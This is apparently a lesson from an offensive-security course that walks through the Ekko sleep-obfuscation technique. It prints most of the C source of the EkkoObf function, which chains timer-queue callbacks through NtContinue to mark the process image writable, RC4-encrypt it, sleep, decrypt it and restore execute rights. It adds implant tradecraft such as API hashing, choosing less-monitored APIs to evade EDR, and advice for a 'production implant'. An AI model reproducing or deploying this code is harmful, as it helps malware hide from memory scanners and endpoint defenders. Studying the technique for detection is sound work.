Module 5: The Ekko Timer Chain
Six timers, six contexts, one seamless encrypt-sleep-decrypt cycle.
Module Objective
Walk through the complete Ekko implementation step by step — from initial setup through the 6-timer chain that performs VirtualProtect(RW), RC4 encrypt, sleep delay, RC4 decrypt, VirtualProtect(RWX), and event signaling. Understand exactly what each timer does and why the chain is ordered the way it is.
1. The Complete EkkoObf Function
Ekko's entire sleep obfuscation technique is implemented in a single function: EkkoObf. It accepts a sleep duration in milliseconds and orchestrates the full encrypt-sleep-decrypt cycle. Let us walk through it section by section.
Phase 1: Variable Declaration & Initialization
CVOID EkkoObf( DWORD SleepTime )
{
// The baseline context captured from the timer thread
CONTEXT CtxThread = { 0 };
// Six operational contexts - one per timer
CONTEXT RopProtRW = { 0 }; // Timer 1: VirtualProtect(RW)
CONTEXT RopMemEnc = { 0 }; // Timer 2: SystemFunction032 (encrypt)
CONTEXT RopDelay = { 0 }; // Timer 3: WaitForSingleObject (sleep)
CONTEXT RopMemDec = { 0 }; // Timer 4: SystemFunction032 (decrypt)
CONTEXT RopProtRX = { 0 }; // Timer 5: VirtualProtect(RWX)
CONTEXT RopSetEvt = { 0 }; // Timer 6: SetEvent (signal done)
HANDLE hTimerQueue = NULL;
HANDLE hNewTimer = NULL;
HANDLE hEvent = NULL;
PVOID ImageBase = NULL;
DWORD ImageSize = 0;
DWORD OldProtect = 0;
// RC4 key - hardcoded 0x55 bytes in the PoC
CHAR KeyBuf[16] = { 0x55, 0x55, 0x55, 0x55,
0x55, 0x55, 0x55, 0x55,
0x55, 0x55, 0x55, 0x55,
0x55, 0x55, 0x55, 0x55 };
USTRING Key = { 0 };
USTRING Img = { 0 };
PVOID NtContinue = NULL;
PVOID SysFunc032 = NULL;
Seven CONTEXT structures are declared on the stack: one baseline (CtxThread) and six operational contexts. The key buffer, USTRING descriptors, and API pointers are also stack-allocated.
2. Phase 2: Resource Creation & API Resolution
C // Create synchronization event (auto-reset, non-signaled)
hEvent = CreateEventW( 0, 0, 0, 0 );
// Create the timer queue
hTimerQueue = CreateTimerQueue();
// Resolve undocumented APIs at runtime
NtContinue = GetProcAddress(
GetModuleHandleA("Ntdll"), "NtContinue" );
SysFunc032 = GetProcAddress(
LoadLibraryA("Advapi32"), "SystemFunction032" );
// Get the current process image base and size
ImageBase = GetModuleHandleA( NULL );
ImageSize = ((PIMAGE_NT_HEADERS)(
(PBYTE)ImageBase +
((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew
))->OptionalHeader.SizeOfImage;
API Resolution Strategy
Note the difference: GetModuleHandleA("Ntdll") is used for ntdll (which is always loaded), while LoadLibraryA("Advapi32") is used for advapi32 (which may not be loaded yet). In a real implant, these resolutions would likely use API hashing or PEB walking to avoid suspicious import references.
3. Phase 3: USTRING Setup
C // Set up the RC4 key descriptor
Key.Buffer = KeyBuf;
Key.Length = 16;
Key.MaximumLength = 16;
// Set up the image data descriptor
Img.Buffer = ImageBase;
Img.Length = ImageSize;
Img.MaximumLength = ImageSize;
The Key USTRING points to the 16-byte key buffer, and the Img USTRING describes the entire process image from ImageBase for ImageSize bytes. These structures will be passed to SystemFunction032 for encryption and decryption.
4. Phase 4: Context Capture (Timer 0)
C // Capture the timer thread's context as a baseline
if ( CreateTimerQueueTimer(
&hNewTimer, hTimerQueue,
RtlCaptureContext, // Callback
&CtxThread, // CONTEXT* to fill
0, // Fire immediately
0, // One-shot
WT_EXECUTEINTIMERTHREAD ) )
{
// Wait 50ms for the capture to complete
WaitForSingleObject( hEvent, 0x32 );
The Crucial First Timer
This timer calls RtlCaptureContext on the timer thread, filling CtxThread with a valid snapshot of all CPU registers. The 50ms wait (0x32) ensures the capture completes before Ekko starts cloning and modifying contexts. Note that this wait uses the hEvent that is not yet signaled, so it simply times out after 50ms — it is a delay, not a synchronization point.
5. Phase 5: Context Construction
Each operational context is created by cloning the baseline and modifying specific registers:
C // Clone baseline into all six operational contexts
memcpy( &RopProtRW, &CtxThread, sizeof(CONTEXT) );
memcpy( &RopMemEnc, &CtxThread, sizeof(CONTEXT) );
memcpy( &RopDelay, &CtxThread, sizeof(CONTEXT) );
memcpy( &RopMemDec, &CtxThread, sizeof(CONTEXT) );
memcpy( &RopProtRX, &CtxThread, sizeof(CONTEXT) );
memcpy( &RopSetEvt, &CtxThread, sizeof(CONTEXT) );
Now each context has valid segment registers, flags, stack pointer, and other state from the timer thread. The next step is customizing each context for its specific API call.
Timer 1: VirtualProtect(ImageBase, ImageSize, PAGE_READWRITE, &OldProtect)
C // Timer 1: Change image memory to RW (non-executable)
RopProtRW.Rsp -= 8;
RopProtRW.Rip = (DWORD64)VirtualProtect;
RopProtRW.Rcx = (DWORD64)ImageBase; // lpAddress
RopProtRW.Rdx = (DWORD64)ImageSize; // dwSize
RopProtRW.R8 = PAGE_READWRITE; // flNewProtect
RopProtRW.R9 = (DWORD64)&OldProtect; // lpflOldProtect
Timer 2: SystemFunction032(&Img, &Key) — Encrypt
C // Timer 2: RC4 encrypt the image
RopMemEnc.Rsp -= 8;
RopMemEnc.Rip = (DWORD64)SysFunc032;
RopMemEnc.Rcx = (DWORD64)&Img; // Data USTRING
RopMemEnc.Rdx = (DWORD64)&Key; // Key USTRING
Timer 3: WaitForSingleObject(NtCurrentProcess(), SleepTime)
C // Timer 3: Sleep for the requested duration
RopDelay.Rsp -= 8;
RopDelay.Rip = (DWORD64)WaitForSingleObject;
RopDelay.Rcx = (DWORD64)NtCurrentProcess(); // Handle
RopDelay.Rdx = (DWORD64)SleepTime; // Timeout
Why WaitForSingleObject on NtCurrentProcess()?
Ekko uses WaitForSingleObject(NtCurrentProcess(), SleepTime) as the delay mechanism. NtCurrentProcess() returns the pseudo-handle -1 (0xFFFFFFFFFFFFFFFF), which refers to the current process. A process handle is never signaled (unless the process terminates), so WaitForSingleObject will always wait for the full timeout duration and then return WAIT_TIMEOUT. This is functionally equivalent to Sleep(SleepTime) but uses a different API that may be less monitored by some EDRs.
Timer 4: SystemFunction032(&Img, &Key) — Decrypt
C // Timer 4: RC4 decrypt (same call as encrypt - XOR symmetry)
RopMemDec.Rsp -= 8;
RopMemDec.Rip = (DWORD64)SysFunc032;
RopMemDec.Rcx = (DWORD64)&Img;
RopMemDec.Rdx = (DWORD64)&Key;
Timer 5: VirtualProtect(ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect)
C // Timer 5: Restore execute permissions
RopProtRX.Rsp -= 8;
RopProtRX.Rip = (DWORD64)VirtualProtect;
RopProtRX.Rcx = (DWORD64)ImageBase;
RopProtRX.Rdx = (DWORD64)ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE; // Restore RWX
RopProtRX.R9 = (DWORD64)&OldProtect;
RWX vs RX on Restore
Note that Ekko restores to PAGE_EXECUTE_READWRITE (RWX) rather than PAGE_EXECUTE_READ (RX). This is because the PoC image may need write access to its data sections after wakeup. A production implant should restore to the original protection value saved in OldProtect or use PAGE_EXECUTE_READ for the code section and separate protections for data sections.
Timer 6: SetEvent(hEvent)
C // Timer 6: Signal the main thread that the cycle is complete
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = (DWORD64)SetEvent;
RopSetEvt.Rcx = (DWORD64)hEvent; // Event handle
6. Phase 6: Queue All Timers
C // Queue all 6 timers with staggered due times
CreateTimerQueueTimer( &hNewTimer, hTimerQueue,
NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue,
NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue,
NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue,
NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue,
NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue,
NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD );
Complete Timer Chain Execution
VirtualProtect
SystemFunction032
WaitForSingleObject
SystemFunction032
VirtualProtect
SetEvent
7. Phase 7: Wait & Cleanup
C // Main thread blocks until timer 6 signals the event
WaitForSingleObject( hEvent, INFINITE );
}
// Clean up the timer queue
DeleteTimerQueue( hTimerQueue );
}
The main thread blocks on WaitForSingleObject(hEvent, INFINITE). During this time, the six timers fire in sequence on the timer thread. When Timer 6 calls SetEvent(hEvent), the main thread's wait is satisfied, and it resumes execution. The timer queue is then deleted to free resources.
8. Timeline Visualization
| Time | Timer Thread | Main Thread | Image State |
|---|---|---|---|
| t=0 | Idle | Queues 6 timers, calls WaitForSingleObject(INFINITE) | RWX, plaintext |
| t=100ms | NtContinue → VirtualProtect(RW) | Blocked on event | RW, plaintext |
| t=200ms | NtContinue → SystemFunction032(encrypt) | Blocked on event | RW, encrypted |
| t=300ms | NtContinue → WaitForSingleObject(SleepTime) | Blocked on event | RW, encrypted (SLEEPING) |
| t=300ms+Sleep | Wait returns (timeout) | Blocked on event | RW, encrypted |
| t=400ms* | NtContinue → SystemFunction032(decrypt) | Blocked on event | RW, plaintext |
| t=500ms* | NtContinue → VirtualProtect(RWX) | Blocked on event | RWX, plaintext |
| t=600ms* | NtContinue → SetEvent(hEvent) | Wakes up, resumes | RWX, plaintext |
* Timers 4-6 fire at their DueTime or after Timer 3's sleep completes, whichever is later. Since Timer 3 blocks the timer thread, timers 4-6 effectively fire immediately after the sleep finishes.
9. Chain Integrity & Failure Modes
What Could Go Wrong
- Timer ordering violation — If timers fire out of order (e.g., encrypt before VirtualProtect), the encryption would fail because the region might still be RX, or the decrypted image gets permissions changed incorrectly
- Context corruption — If the captured baseline context is invalid or the stack pointer is misaligned, NtContinue may crash the timer thread
- USTRING lifetime — The USTRING structures and key buffer must remain valid (on the stack) for the entire timer chain duration. Since EkkoObf blocks on the event, these stack variables remain alive
- Image size exceeds DWORD — The USTRING Length fields are DWORD, limiting the encrypted region to ~4GB. This is not a practical limitation for implants
Knowledge Check
Q1: What is the correct order of Ekko's 6-timer chain?
Q2: Why does Ekko use WaitForSingleObject(NtCurrentProcess(), SleepTime) for the delay?
Q3: How does the main thread know the timer chain has completed?